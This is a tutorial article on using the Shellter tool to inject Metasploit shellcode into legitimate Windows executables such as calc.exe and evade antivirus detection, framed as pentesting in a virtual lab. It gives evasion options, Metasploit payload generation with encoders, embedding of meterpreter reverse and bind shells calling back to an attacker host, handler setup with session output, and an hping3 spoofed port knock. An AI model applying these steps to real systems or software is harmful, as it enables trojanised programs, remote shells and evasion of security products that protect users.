Injection gloves-off: bypassing antivirus software with Shellter

The great problem for many pentests lies in the fact that any "charged" executable file created with Metasploit or other pentest frameworks can be tracked by any antivirus vendor. That is why a pentester has to find out a way to bypass antivirus software instead of going on with penetration. A lot of time is wasted on this task being performed from case to case. So, eventually, various tools for automation of this task started to appear; today we are going to review one of these cool tools, named Shellter.

Quick Start

Some official project information first. So, Shellter is a tool for dynamic shell code embedding, it is indeed the first tool for dynamic embedding of a code into PE files (but it's worth noting that dll files are not supported). It's used for embedding shell codes into native Windows applications (yet only 32 bits are supported). Custom or framework-generated shell codes (e.g. with Metasploit) can be used as a payload.

The advantage of Shellter is that it is based on PE file structure only, and doesn't use any "dirty" tricks like adding new sections with RWE rights, modification of access rights for existing sections, or other operations that any antivirus software will at once find suspicious. Instead, Shellter uses a unique dynamic approach based on the target (to be infected) application flow.

Based on its built-in heuristics and the debug tool engine that dynamically starts the host file and traces the indicated number of instructions, Shellter finds the appropriate place for secure shell code allocation in the PE file. The mandatory changes in the PE file structure are minimum, with flags in DllCharacteristics (relocation prevention) deleted and digital signature data cleared.

When running, Shellter will trace only the userland's execution flow, i.e. the code within the infected application, as well as the "external" code located in system libraries, bulk, etc. This is done in order not to leave out the target application's functions used only as callbacks for Windows API. During the tracing process Shellter doesn't use or log instructions located beyond the target application's memory, as they cannot be referred to for shell code embedding.

Target Application Selection

We've got to know Shellter's basic idea, let's now discuss such an important matter as selection of an appropriate target for shell code embedding. First of all, as we've already said before, the application shall be 32 bit native. Another condition is that the application shall be statically connected to no exterior libraries except for those by default included into Windows.

As this tool's main task is bypassing antivirus solutions, you should also avoid the following: packed applications, applications with RWE-right sections or more than one code section, as they will by default look suspicious for antivirus programs.

One more reason to avoid packed .exe files is that most standard packers check files for modifications before unpacking, and thus they won't run after the shell code has been embedded. Furthermore, almost every one of them is crammed with anti-debugging features and will quickly discover Shellter's attempts to trace it (at the moment Shellter is only able to fight PEB.IsBeingDebugged, PEB.NtGlobalFlag). That's why it's best to pack the application after the shell code has been embedded. And the ideal variant is to select an application that will look legitimate for the antivirus software.

Fouling the Trail

Now a few words about the methods used for deceiving antivirus software. Two main methods are using junk code and encrypted/self-decrypting payloads. Shellter has a built-in polymorphic engine that generates spam code of the size indicated in bytes by the user. The dead code will be executed from the Shellter shell code access point till the payload execution or decryption. Spam code is a sequence of null cycles (loopd), use of real application data (read/write), null procedure listing, with the code searched by gadgets within the original code section of shell code host program.

Shellter allows payload encryption through seven methods based on usage of Windows API (for creation of self-decrypting code with no changes in properties of PE file executable code sections).

1. VirtualAlloc
2. VirtualAllocEx
3. VirtualProtect
4. VirtualProtectEx
5. HeapCreate/HeapAlloc
6. LoadLibrary/GetProcAddress
7. CreateFileMapping/MapViewOfFile

As the utility tends to change PE file headline structure as little as possible, it suggests using only the available file import. If the file's import table doesn't have any of the abovementioned API sets, then Shellter will offer to either give up on payload encryption, or forcefully change properties of the PE file section. As you can see, with no payload encryption performed, Shellter will normally be useless (in case of aver bypassing).

Starting with the fourth version, Shellter provides its own dynamic encryptor. It can be used to obfuscate the payload encryption procedure by embedding a random number of XOR, AND, SUB, NOT operations into each shell code generating (--polydecoder command prompt modifier is used here). API function invocations used to transfer shell codes into the write-access memory may also be obfuscated. With "Auto" mode, Shellter will by default use its own encryptor to obfuscate payload decryptor. This feature can be applied to both unencrypted and encrypted payloads as an additional level of encryption.

Dynamic Thread Context Keys

It's a rather interesting feature appearing in the fourth version, called Dynamic Thread Context Keys. It allows using dynamic information from the target application context in the function of encryption keys. The idea is simple: during tracing, the values of specific CPU registers are logged, after that the points of possible payload embedding with at least one register preserving the value suitable for encryption/decryption during the program flow will be filtered off. While it's still a pilot feature, it helps get rid of necessity to hardcode the decryption key. While in "Auto" mode, it can only be activated with --DTCK modifier.

A few words about payloads

Now a few words about payloads. Shellter already has several most popular payloads embedded, so normally you don't have to generate them manually through Metasploit. This list includes:

1. meterpreter_reverse_tcp
2. meterpreter_reverse_http
3. meterpreter_reverse_https
4. meterpreter_bind_tcp
5. shell_reverse_tcp
6. shell_bind_tcp
7. WinExec

These are all custom payloads from Metasploit, that's why they are very well known to all antivirus solutions. Thus we strongly recommend activating payload encryption with --encode option. In case of using "Auto" mode with no parameters, Shellter will apply its own encryption to hide payloads. You can activate a specific payload through the command prompt, for example, like this:

-p meterpreter_reverse_tcp --port 5656 --lhost 192.168.0.6

or like this:

-p winexec --cmd calc.exe

Stealth Mode

Stealth Mode option is a very interesting feature of the tool. The fact is that it allows embedding several payloads into one file. I.e. by activating this option (with --stealth or just -s modifier) you can re-infect the same file with another payload. In other words, you can inject meterpreter_reverse_tcp, meterpreter_reverse_https and some payload of your own. So when running the infected application all three payloads will be executed.

Important: when using Stealth mode with custom payloads (i.e. not embedded into Shellter), you'll have to set the exit-function as THREAD. Otherwise in case of session expiration or your will to close it, the whole application will fail. Plus, all "reverse connection" payloads from Metasploit make a limited number of attempts to get access to a remote host, with the process being killed when all these attempts are used up. In order to prevent this, Shellter uses a little bit modified payload versions from Metasploit. That's why when you need a reverse connect, it's best to use Shellter's built-in samples.

Case study

In truth, the formal documentation contains many more interesting moments, but they are not essential for us within the context of this article. As the saying goes, "A picture is worth a thousand words". That's why we'll walk the talk and test the tool in practice. Let's start with installation. All the Windows users need is to download and unpack the [archive](goo.gl/5sbKwj. As we've already mentioned before, Shellter can be used with Linux/Mac. You can download the abovementioned archive and start the tool through Wine/CrossOver. However, the users of some Linux distributives can install Shellter through the package manager. For example, the installation under Kali is no different from other software installation.

apt-get update
apt-get install shellter

Calc.exe, your time has come

For our further experiments we'll need two virtual machines incorporated into one network: a Windows-based (here XP will be used as it's been already installed and customized) machine where we are going to "infect" the application, and a Kali Linux-based one to be used for interactions with reverse connect payloads. All that is left to do is to select a "patient" to be infected. We've already discussed the criteria it should meet. So we won't be repeating ourselves and select the long-suffering calculator for our tests.

WinExec

Let's start from scratch and try to embed WinExec payload into the calculator to start the� notepad. To do that, copy the calculator program into the directory containing Shellter (just for convenience) and start the latter. We'll be offered to select one of the two operation modes: automatic (Auto) or manual (Manual). In order to get acquainted with all options, let's select the manual (m) mode and indicate calc.exe as target. After that, Shellter will create a backup copy of the original file (calc.exe.bak), start collecting information about it, and perform all the necessary modifications. First it will check whether the executed file is packed (we've already discussed why embedding shell codes into packed files should be avoided). Then it will work a little over the file itself: specifically, over its DllCharacteristics and digital signature. Then it will ask whether it should collect "Dynamic Thread Context Info". In future we will use this information as the modifier for payload decryption, so we won't have to store it in the explicit form (remember Dynamic Thread Context Keys?). That's why our answer is affirmative.

The number of instructions is optional. For example, let's set it as 15,000. In order not to mess it all up by embedding the shell code into the point of polymorphic code, activate the check for it during the tracing procedure. To save time, we won't stop the tracing procedure once it has been detected, and communicate this to the tool at our next step. Real-Time Tracing will display the process of program flow real time, but it has no information value for us, so we won't activate it. Next, Shellter will use its few (yet) measures for fighting anti-debugging features, and run tracing for the calculator. After the tracing has ended, it will ask whether Stealth Mode should be activated. In fact, even if we don't plan to embed several payloads into one file, this option wouldn't be out of place, so we'll activate it. After, we'll be offered to select out of built-in and custom payloads (we'll talk about them later). Select the built-in ones and pick number seven (WinExec) from the provided list. Indicate notepad.exe as the parameter. And here we will be asked whether it is worth encrypting payloads with DTCK (Dynamic Thread Context Keys).

Let's try it, plus agree with decryptor's obfuscation at the next step. Shellter will search the import table for all the APIs appropriate for this task, and in our case it will find only LoadLibrary/GetProcAddress bundle (comes under No. 5). Then we are going to obfuscate IAT Handler and add a polymorphic code (built-in, size set to 200 bytes). After that, we'll have to select a specific point for shell code embedding. For this case the range of 0 to 560 is available (the first one was selected for embedding). This is the last option to be selected, from now onwards Shellter will inject the shell code and recalculate the check sum of the file. On the whole, the process in some ways reminds you of software installation: Next, Next, Next, and then everything is done. All that is left to do is to run the file. A notepad window appeared besides the calculator as planned.

Custom payload

Now let's have a little break and see what we should do if built-in Shellter payloads are not enough to solve a specific task. Remember, we have already said that the utility allows using custom user payloads. So, let's open Metasploit and select the suitable (functionally) variant:

msf > show payloads

Let's assume we are interested in windows/meterpreter/bind_hidden_ipknock_tcp:

msf > use windows/meterpreter/bind_hidden_ipknock_tcp

View the options:

msf payload(bind_hidden_ipknock_tcp) > show options

Module options (payload/windows/meterpreter/bind_hidden_ipknock_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
KHOST                      yes       IP address allowed
LPORT     4444             yes       The listen port
RHOST                      no        The target address

First of all, pay attention to EXITFUNC parameter, as it has already been mentioned above, its value should be set thread.

msf payload(bind_hidden_ipknock_tcp) > set EXITFUNC thread

Customize other parameters:

msf payload(bind_hidden_ipknock_tcp) > set KHOST 8.8.8.8
msf payload(bind_hidden_ipknock_tcp) > set LPORT 5555

Then look at the payload generating parameters:

msf payload(bind_hidden_ipknock_tcp) > generate -h

And generate a payload:

msf payload(bind_hidden_ipknock_tcp) > generate -E -e x86/shikata_ga_nai -t raw -f custom_payload
[*] Writing 386 bytes to custom_payload...

After that, a file named custom_payload should appear in the Home directory. Port it to the machine with Shellter installed.

Stealth Mode

Now let's deal with Stealth technology and try to embed several payloads into the calculator at once. One payload will be built-in, the other one is going to be generated personally. Start Shellter in the automatic mode (to speed up the process), specify calc.exe as the target and wait for the offer to activate Stealth Mode. Activate it and select Meterpreter_Reverse_TCP as payload. Set LHOST = 192.168.0.55 (Kali machine address), LPORT = 4444. There we have it, the tool will do everything on its own and inform us on the successful embedding. Great, let's test its performance. Open Metasploit under Kali:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set exitfunc thread
msf exploit(handler) > set lport 4444
msf exploit(handler) > set lhost 192.168.0.55
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.55:4444
[*] Starting the payload handler...

Then run the infected calculator on the neighboring VM. And have:

[*] Sending stage (885806 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.55:4444 -> 192.168.0.3:1089) at 2015-10-31 05:50:55 -0400

meterpreter > sysinfo
meterpreter > exit

Everything works just great. Now let's try to stuff calc.exe with one more payload that was generated during the previous step. Start Shellter again in the automatic mode and get to the step of payload selection, but specify usage of custom payload. The answer to the question whether the payload is a "reflective dll loader" should be negative, then we should wait for Shellter to finish with the task. We should have two payloads hidden in the calculator now: meterpreter/reverse_tcp and meterpreter/bind_hidden_ipknock_tcp. Let's check if it is so. Start Metasploit and repeat the actions described above. No surprise, reverse_tcp has performed properly. The second payload is more interesting. In order to get access to it, we have to knock at port 5555 of the Windows-based machine from the 8.8.8.8 address. We won't be able to access otherwise. It can be done by spoofing the IP address with hping3 utility:

hping3 --spoof 8.8.8.8 -S -p 5555 192.168.0.3 -c 1

Wait for a little bit and try to connect. First, send meterpreter's active session (reverse_tcp) to the background:

meterpreter > background

Select another payload: meterpreter/bind_tcp, and set the following options:

msf exploit(handler) > set exitfunc thread
msf exploit(handler) > set lport 5555
msf exploit(handler) > set rhost 192.168.0.3
msf exploit(handler) > exploit

And receive another meterpreter session. As you can see, several payloads sit in one file perfectly. Wonderful.

Conclusion

We've tasted what Shellter is like. There's still a lot of interesting information on the tool left beyond the scope of our review, you can study it yourself in this manual. However, we've discussed the main and the most interesting aspects here, so now you've got enough information to use this tool to the utmost. As a homework assignment, check the "efficiency" of antivirus software in discovering payload-infected files.